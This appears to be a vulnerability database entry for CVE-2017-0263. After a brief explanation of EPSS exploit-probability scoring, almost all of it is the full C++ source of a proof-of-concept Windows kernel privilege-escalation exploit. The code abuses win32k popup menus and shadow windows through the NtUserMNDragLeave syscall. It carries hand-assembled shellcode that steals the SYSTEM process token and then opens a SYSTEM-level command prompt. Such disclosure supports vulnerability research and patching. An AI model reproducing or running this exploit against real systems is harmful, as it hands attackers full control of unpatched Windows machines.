CVE-2017-0263 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#include <Windows.h> #include <wingdi.h> #include <iostream> #include <Psapi.h> #pragma comment(lib, "psapi.lib") #define POCDEBUG 0 #if POCDEBUG == 1 #define POCDEBUG_BREAK() getchar() #elif POCDEBUG == 2 #define POCDEBUG_BREAK() DebugBreak() #else #define POCDEBUG_BREAK() #endif static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; static constexpr UINT num_PopupMenuCount = 2; static constexpr UINT num_WndShadowCount = 3; static constexpr UINT num_NtUserMNDragLeave = 0x11EC; static constexpr UINT num_offset_WND_pcls = 0x64; static HMENU hpopupMenu[num_PopupMenuCount] = { 0 }; static UINT iMenuCreated = 0; static BOOL bDoneExploit = FALSE; static DWORD popupMenuRoot = 0; static HWND hWindowMain = NULL; static HWND hWindowHunt = NULL; static HWND hWindowList[0x100] = { 0 }; static UINT iWindowCount = 0; static PVOID pvHeadFake = NULL; static PVOID pvAddrFlags = NULL; typedef struct _HEAD { HANDLE h; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEAD head; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; typedef struct _DESKHEAD { PVOID rpdesk; PBYTE pSelf; } DESKHEAD, *PDESKHEAD; typedef struct _THRDESKHEAD { THROBJHEAD thread; DESKHEAD deskhead; } THRDESKHEAD, *PTHRDESKHEAD; typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_CLS_lpszMenuName; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; PVOID tagCLS[0x100]; BYTE pfnWindProc[]; } SHELLCODE, *PSHELLCODE; static PSHELLCODE pvShellCode = NULL; // Arguments: // [ebp+08h]:pwnd = pwndWindowHunt; // [ebp+0Ch]:msg = 0x9F9F; // [ebp+10h]:wParam = popupMenuRoot; // [ebp+14h]:lParam = NULL; // In kernel-mode, the first argument is tagWND pwnd. static BYTE xxPayloadWindProc[] = { // Loader+0x108a: // Judge if the `msg` is 0x9f9f value. 0x55, // push ebp 0x8b, 0xec, // mov ebp,esp 0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch] 0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128 // Loader+0x109b: // Judge if CS is 0x1b, which means in user-mode context. 0x66, 0x8c, 0xc8, // mov ax,cs 0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128 // Loader+0x10a8: // Get the address of pwndWindowHunt to ECX. // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc. // Get the address of pvShellCode to EDX by CALL-POP. // Get the address of pvShellCode->tagCLS[0x100] to ESI. // Get the address of popupMenuRoot to EDI. 0xfc, // cld 0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8] 0xff, 0x41, 0x16, // inc dword ptr [ecx+16h] 0x60, // pushad 0xe8, 0x00, 0x00, 0x00, 0x00, // call $5 0x5a, // pop edx 0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h 0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h 0x8d, 0x72, 0x18, // lea esi,[edx+18h] 0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h] // Loader+0x10c7: 0x85, 0xdb, // test ebx,ebx 0x74, 0x13, // je Loader+0x10de // Loader+0x10cb: // Judge if pvShellCode->tagCLS[ebx] == NULL 0xad, // lods dword ptr [esi] 0x4b, // dec ebx 0x83, 0xf8, 0x00, // cmp eax,0 0x74, 0xf5, // je Loader+0x10c7 // Loader+0x10d2: // Judge if tagCLS->lpszMenuName == popupMenuRoot 0x03, 0x42, 0x08, // add eax,dword ptr [edx+8] 0x39, 0x38, // cmp dword ptr [eax],edi 0x75, 0xee, // jne Loader+0x10c7 // Loader+0x10d9: // Zero tagCLS->lpszMenuName 0x83, 0x20, 0x00, // and dword ptr [eax],0 0xeb, 0xe9, // jmp Loader+0x10c7 // Loader+0x10de: // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX. // Get the value of pvShellCode->pid to EAX. 0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8] 0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch] 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x8b, 0x09, // mov ecx,dword ptr [ecx] 0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h] 0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4] 0x51, // push ecx // Loader+0x10f0: // Judge if EPROCESS->UniqueId == pid. 0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax 0x74, 0x07, // je Loader+0x10fd // Loader+0x10f6: // Get next EPROCESS to ECX by ActiveLink. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x2b, 0xcb, // sub ecx,ebx 0xeb, 0xf3, // jmp Loader+0x10f0 // Loader+0x10fd: // Get current EPROCESS to EDI. 0x8b, 0xf9, // mov edi,ecx 0x59, // pop ecx // Loader+0x1100: // Judge if EPROCESS->UniqueId == 4 0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4 0x74, 0x07, // je Loader+0x110e // Loader+0x1107: // Get next EPROCESS to ECX by ActiveLink. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x2b, 0xcb, // sub ecx,ebx 0xeb, 0xf2, // jmp Loader+0x1100 // Loader+0x110e: // Get system EPROCESS to ESI. // Get the value of system EPROCESS->Token to current EPROCESS->Token. // Add 2 to OBJECT_HEADER->PointerCount of system Token. // Return 0x9F9F to the caller. 0x8b, 0xf1, // mov esi,ecx 0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h] 0x03, 0xf0, // add esi,eax 0x03, 0xf8, // add edi,eax 0xad, // lods dword ptr [esi] 0xab, // stos dword ptr es:[edi] 0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h 0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2 0x61, // popad 0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh 0xeb, 0x05, // jmp Loader+0x112d // Loader+0x1128: // Failed in processing. 0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1 // Loader+0x112d: 0xc9, // leave 0xc2, 0x10, 0x00, // ret 10h }; static VOID xxGetHMValidateHandle(VOID) { HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); PBYTE Address = NULL; for (INT i = 0; i < 0x30; i++) { if (*(WORD *)(i + pfnIsMenu) != 0x02B2) { continue; } i += 2; if (*(BYTE *)(i + pfnIsMenu) != 0xE8) { continue; } Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; Address = Address + i + 5; pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; break; } } #define TYPE_WINDOW 1 static PVOID xxHMValidateHandleEx(HWND hwnd) { return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); } static PVOID xxHMValidateHandle(HWND hwnd) { PVOID RetAddr = NULL; if (!pfnHMValidateHandle) { xxGetHMValidateHandle(); } if (pfnHMValidateHandle) { RetAddr = xxHMValidateHandleEx(hwnd); } return RetAddr; } static ULONG_PTR xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2) { __asm { mov eax, num }; __asm { int 2eh }; } static LRESULT WINAPI xxShadowWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (msg != WM_NCDESTROY || bDoneExploit) { return DefWindowProcW(hwnd, msg, wParam, lParam); } std::cout << "::" << __FUNCTION__ << std::endl; POCDEBUG_BREAK(); DWORD dwPopupFake[0xD] = { 0 }; dwPopupFake[0x0] = (DWORD)0x00098208; //->flags dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped dwPopupFake[0xC] = (DWORD)0; for (UINT i = 0; i < iWindowCount; ++i) { SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake); } xxSyscall(num_NtUserMNDragLeave, 0, 0); LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0); bDoneExploit = Triggered == 0x9F9F; return DefWindowProcW(hwnd, msg, wParam, lParam); } #define MENUCLASS_NAME L"#32768" static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) { tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; static HWND hwndMenuHit = 0; static UINT iShadowCount = 0; if (bDoneExploit || iMenuCreated != num_PopupMenuCount - 2 || cwp->message != WM_NCCREATE) { return CallNextHookEx(0, code, wParam, lParam); } std::cout << "::" << __FUNCTION__ << std::endl; WCHAR szTemp[0x20] = { 0 }; GetClassNameW(cwp->hwnd, szTemp, 0x14); if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL) { std::cout << "::iShadowCount=" << iShadowCount << std::endl; POCDEBUG_BREAK(); if (++iShadowCount == num_WndShadowCount) { SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc); } else { SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW); SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW); } } else if (!wcscmp(szTemp, MENUCLASS_NAME)) { hwndMenuHit = cwp->hwnd; std::cout << "::hwndMenuHit=" << hwndMenuHit << std::endl; } return CallNextHookEx(0, code, wParam, lParam); } #define MN_ENDMENU 0x1F3 static VOID CALLBACK xxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime ) { UNREFERENCED_PARAMETER(hWinEventHook); UNREFERENCED_PARAMETER(event); UNREFERENCED_PARAMETER(idObject); UNREFERENCED_PARAMETER(idChild); UNREFERENCED_PARAMETER(idEventThread); UNREFERENCED_PARAMETER(dwmsEventTime); std::cout << "::" << __FUNCTION__ << std::endl; if (iMenuCreated == 0) { popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0); } if (++iMenuCreated >= num_PopupMenuCount) { std::cout << ">>SendMessage(MN_ENDMENU)" << std::endl; POCDEBUG_BREAK(); SendMessageW(hwnd, MN_ENDMENU, 0, 0); } else { std::cout << ">>SendMessage(WM_LBUTTONDOWN)" << std::endl; POCDEBUG_BREAK(); SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); } } static BOOL xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra) { WNDCLASSEXW wndClass = { 0 }; wndClass = { 0 }; wndClass.cbSize = sizeof(WNDCLASSEXW); wndClass.lpfnWndProc = DefWindowProcW; wndClass.cbWndExtra = cbWndExtra; wndClass.hInstance = GetModuleHandleA(NULL); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = lpszClassName; return RegisterClassExW(&wndClass); } static HWND xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle) { return CreateWindowExW(dwExStyle, lpszClassName, NULL, dwStyle, 0, 0, 1, 1, NULL, NULL, GetModuleHandleA(NULL), NULL); } static VOID xxCreateCmdLineProcess(VOID) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } static DWORD WINAPI xxTrackExploitEx(LPVOID lpThreadParameter) { UNREFERENCED_PARAMETER(lpThreadParameter); std::cout << "::" << __FUNCTION__ << std::endl; POCDEBUG_BREAK(); for (INT i = 0; i < num_PopupMenuCount; i++) { MENUINFO mi = { 0 }; hpopupMenu[i] = CreatePopupMenu(); mi.cbSize = sizeof(mi); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP; SetMenuInfo(hpopupMenu[i], &mi); } for (INT i = 0; i < num_PopupMenuCount; i++) { LPCSTR szMenuItem = "item"; AppendMenuA(hpopupMenu[i], MF_BYPOSITION | MF_POPUP, (i >= num_PopupMenuCount - 1) ? 0 : (UINT_PTR)hpopupMenu[i + 1], szMenuItem); } for (INT i = 0; i < 0x100; i++) { WNDCLASSEXW Class = { 0 }; WCHAR szTemp[20] = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"%x-%d", rand(), i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassExW(&Class)) { continue; } hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(NULL), NULL); if (hwnd == NULL) { continue; } hWindowList[iWindowCount++] = hwnd; } for (INT i = 0; i < iWindowCount; i++) { pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls); } DWORD fOldProtect = 0; VirtualProtect(pvShellCode, 0x1000, PAGE_EXECUTE_READ, &fOldProtect); xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE); xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200); hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPED); PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4; pvHeadFake = pbExtra + 0x44; for (UINT x = 0; x < 0x7F; x++) { SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra); } PVOID pti = head->thread.pti; SetWindowLongW(hWindowHunt, 0x28, 0); SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti SetWindowLongW(hWindowHunt, 0x6C, 0); SetWindowLongW(hWindowHunt, 0x1F8, 0xC033C033); SetWindowLongW(hWindowHunt, 0x1FC, 0xFFFFFFFF); pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16; SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc); SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0); TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); } return 0; } INT POC_CVE20170263(VOID) { std::cout << "-------------------" << std::endl; std::cout << "POC - CVE-2017-0263" << std::endl; std::cout << "-------------------" << std::endl; pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pvShellCode == NULL) { return 0; } ZeroMemory(pvShellCode, 0x1000); pvShellCode->pid = GetCurrentProcessId(); pvShellCode->off_CLS_lpszMenuName = 0x050; pvShellCode->off_THREADINFO_ppi = 0x0b8; pvShellCode->off_EPROCESS_ActiveLink = 0x0b8; pvShellCode->off_EPROCESS_Token = 0x0f8; CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc)); std::cout << "CREATE WORKER THREAD..." << std::endl; POCDEBUG_BREAK(); HANDLE hThread = CreateThread(NULL, 0, xxTrackExploitEx, NULL, 0, NULL); if (hThread == NULL) { return FALSE; } while (!bDoneExploit) { Sleep(500); } xxCreateCmdLineProcess(); DestroyWindow(hWindowMain); TerminateThread(hThread, 0); std::cout << "-------------------" << std::endl; getchar(); return bDoneExploit; } INT main(INT argc, CHAR *argv[]) { POC_CVE20170263(); return 0; }